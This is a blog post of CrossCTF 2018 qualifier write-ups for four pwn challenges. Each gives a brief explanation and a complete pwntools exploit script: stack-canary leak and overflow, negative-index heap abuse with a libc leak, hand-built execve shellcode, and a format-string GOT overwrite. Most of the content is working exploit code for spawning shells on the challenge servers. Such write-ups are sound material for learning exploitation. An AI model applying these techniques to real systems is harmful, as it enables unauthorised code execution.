CrossCTF 2018 Qual PWN Write-up Collection

Introduction

This post will include the write-up of BabyPwn, EasyNote, QuietMoon and SkippingRope. I will explain them one by one.

PabyPWN

The binary contains a buffer overflow and a out-of-bound read vulnerability. Since the binary is protected with stack canary, we use the out-of-bound read to leak the canary first and hijack control flow to the magic gadget in the binary.

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("ctf.pwn.sg", 1500);
elif(DEBUG == 1):
    r = process("./baby");
elif(DEBUG == 2):
    r = process("./baby");
    gdb.attach(r, '''source ./script.py''');


def exploit():
    r.recvuntil("up? ");
    r.sendline(str(289));

    r.recvuntil(": ");
    leak = r.recvuntil("\n");
    leak = leak[:-1];
    leakedCookie = int(leak);
    log.info("Leaked Value: [%s]" % leak);
    log.info("Leaked Value: 0x%x" % leakedCookie);

    r.recvuntil("(y/n)");
    r.sendline("y");

    r.recvuntil("up? ");
    r.sendline(str(291));

    r.recvuntil(": ");
    leak = r.recvuntil("\n");
    leak = leak[:-1];
    leakedValue = int(leak);
    log.info("Leaked Value: [%s]" % leak);
    log.info("Leaked Value: 0x%x" % leakedValue);

    funPtr = leakedValue - 0xb92 + 0x9b0

    r.recvuntil("(y/n) ");
    r.sendline("n");

    r.recvuntil("?");
    payload = "A"*0x108 + p64(leakedCookie) + p64(0x424242424242) + p64(funPtr);
    r.send(payload);
    r.interactive();

exploit();

EasyNote

I spend a lot of time analysing the link/unlink operation in the challenge. But I finally find that the vulnerability locates in the “%d” in scanf, which can read negative number from the user. Since there is no boundary check on the index number, we can exploit this to get shell. Since the libc file is enabled with thread cache, we have to malloc several chunks to make cache list full.

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("ctf.pwn.sg", 1700);
elif(DEBUG == 1):
    r = process("./easynote");
elif(DEBUG == 2):
    r = process("./easynote");
    gdb.attach(r, '''source script.py''');

def halt():
    while(True):
        log.info(r.recvline());



def create(size):
    r.recvuntil("Choice: ");
    r.sendline("0");
    r.recvuntil("Entries: ");
    r.sendline(str(size))

def delete(index):
    r.recvuntil("Choice: ");
    r.sendline("1");
    r.recvuntil("index: ");
    r.sendline(str(index));

def read(index, entry):
    r.recvuntil("Choice: ");
    r.sendline("2");
    r.recvuntil("index: ");
    r.sendline(str(index));
    r.recvuntil("index: ");
    r.sendline(str(entry));

def edit(index, entry, content):
    r.recvuntil("Choice: ");
    r.sendline("3");
    r.recvuntil("index: ");
    r.sendline(str(index));
    r.recvuntil("index: ");
    r.sendline(str(entry));
    r.recvuntil("contents: ");
    r.sendline(content);

def exploit():
    create(4);
    create(0x1f);
    create(0x1f);
    create(0x1f);
    create(0x1f);
    create(0x1f);
    create(0x1f);
    create(0x1f);
    create(0x1f);
    create(0x1f);
    create(0x9);

    delete(1);
    delete(1);
    delete(1);
    delete(1);
    delete(1);
    delete(1);
    delete(1);
    delete(1);
    delete(1);

    #edit(0, -1, "");
    read(1, -103);
    leakedValue = r.recv(6) + "\x00\x00";
    log.info("leaked Value: 0x%x" % u64(leakedValue) );

    libcBaseAddr = u64(leakedValue) - 0x3dac78;
    log.info("libc base: 0x%x" % libcBaseAddr);

    edit(0, -1, "A"*0x8 + p64(libcBaseAddr + 0x3dab20));
    edit(1, -1, "A"*0xe8 + p64(libcBaseAddr + 0xfdb8e)  + p64(libcBaseAddr + 0x8fa09));

    create(0x50);

    r.interactive();
exploit();

SkippingRope

Just write the shellcode one byte by one byte. Just labor work.

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("ctf.pwn.sg", 1501);
elif(DEBUG == 1):
    r = process("./sk"); 
elif(DEBUG == 2):
    r = process("./sk");
    gdb.attach(r, '''source ./script''');

def halt():
    while(True):
        log.info(r.recvline());

count = 0;

def wp(content):
    global count;
    count = count + 1
    r.send(content + "\xeb\x0a");

def pushOneByte(char):
    wp("\x48\x31\xd2\x90");  # xor rdx, rdx
    wp("\xb2"+char + "\x52\x90"); #mov dl, $char, push rdx
    for i in range(0, 9):
        wp("\x48\xff\xc4\x90"); # inc rsp


def pushString(payload):
    for i in range(0, len(payload)):
        pushOneByte(payload[i]);

def doLast():
    global count;
    for i in range(0, 0x100-count):
        wp("AAAA");

def exploit():
    global count;
    pushString("/bin/sh\x00");

    for i in range(0, 16):
        wp("\x48\xff\xcc\x90");

    wp("\x48\x8d\x3c\x24");
    wp("\x48\x31\xf6\x90");
    wp("\x48\x31\xd2\x90");
    wp("\x48\x31\xc0\x90");
    wp("\xb0\x3b\x90\x90");
    wp("\x0f\x05\x90\x90");

    log.info("Instrcutions inserted: %d" % count);
    doLast();
    r.interactive();
exploit();

QuietMoon

There is a string format vulnerability in the binary. We first use the vulnerability to leak the version of libc. Then use the vulnerability to overwrite function pointer in GOT table one byte by one byte.

from pwn import *
DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    libc = ELF("./libc-2.27.so");
    r = remote("ctf.pwn.sg", 2901);
elif(DEBUG == 1):
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.24.so");
    r = process("./moon");
elif(DEBUG == 2):
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.24.so");
    r = process("./moon");
    gdb.attach(r, "source ./script1");

def wp(content):
    payload = content.ljust(0xff, "\x00");
    r.send(payload);


def generate(value, address):
    string = u64(value);
    print("Value to insert: 0x%x" % value);
    payload = "";
    length = len(string);
    for i in range(0, length):
        count = ord(string[i]);
        v = getCValue(count);
        payload += "%%dc" % v;
        payload += "%"


def getOffset(cValue, targetValue):
    curValue = cValue & 0xff;
    if(targetValue >= curValue):
        return targetValue - curValue;
    else:
        return (0x100 + targetValue) - curValue;


def exploit():
    if(DEBUG == 0):
        r.recvuntil("/thecoven/flag?");

    payload = "A"*8 + "%8$s%9$s" + p64(0x601018) + p64(0x601048);
    wp(payload);
    log.info("sendline payload");
    r.recvuntil("A"*8);
    leak1 = r.recv(6) + "\x00\x00";
    leak2 = r.recv(6) + "\x00\x00"
    leakedValue1 = u64(leak1);
    leakedValue2 = u64(leak2);


    log.info("puts:%x read:%x" % (leakedValue1, leakedValue2));
    libcBaseAddr = leakedValue1 - libc.symbols["_IO_puts"];
    log.info("Libc base address: 0x%x" % libcBaseAddr);

    count = 0;
    index = 20;
    payload = "";
    string = p64(libcBaseAddr + libc.symbols["system"]);
    length = len(string);
    for i in range(0, 7):
        value = ord(string[i]);
        log.info("Value to insert: 0x%x" % value);
        offset = getOffset(count, value );
        count = count + offset;
        payload += "%" + "%d"%offset + "c";
        payload += "%" + "%d"%index + "$hhn";
        index = index+1;

    memsetValue = 0;
    if(DEBUG == 2 or DEBUG == 1):
        memsetValue = 0xd0;
    elif(DEBUG == 0):
        memsetValue = 0x20;

    value = (memsetValue & 0xff) << 8;
    log.info("value insert to balance memset");
    offset = value - count;
    payload += "%" + "%d"%offset + "c";
    payload += "%" + "%d"%index + "$hn";
    index = index+1;

    payload = payload.ljust(0x70, "\x00");

    #payload += p64(0x414141414141)
    for i in range(0, 8):
        payload += p64(0x601030 + i);
    wp(payload);

    r.clean();
    wp("/bin/sh");
    r.interactive();

exploit();

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.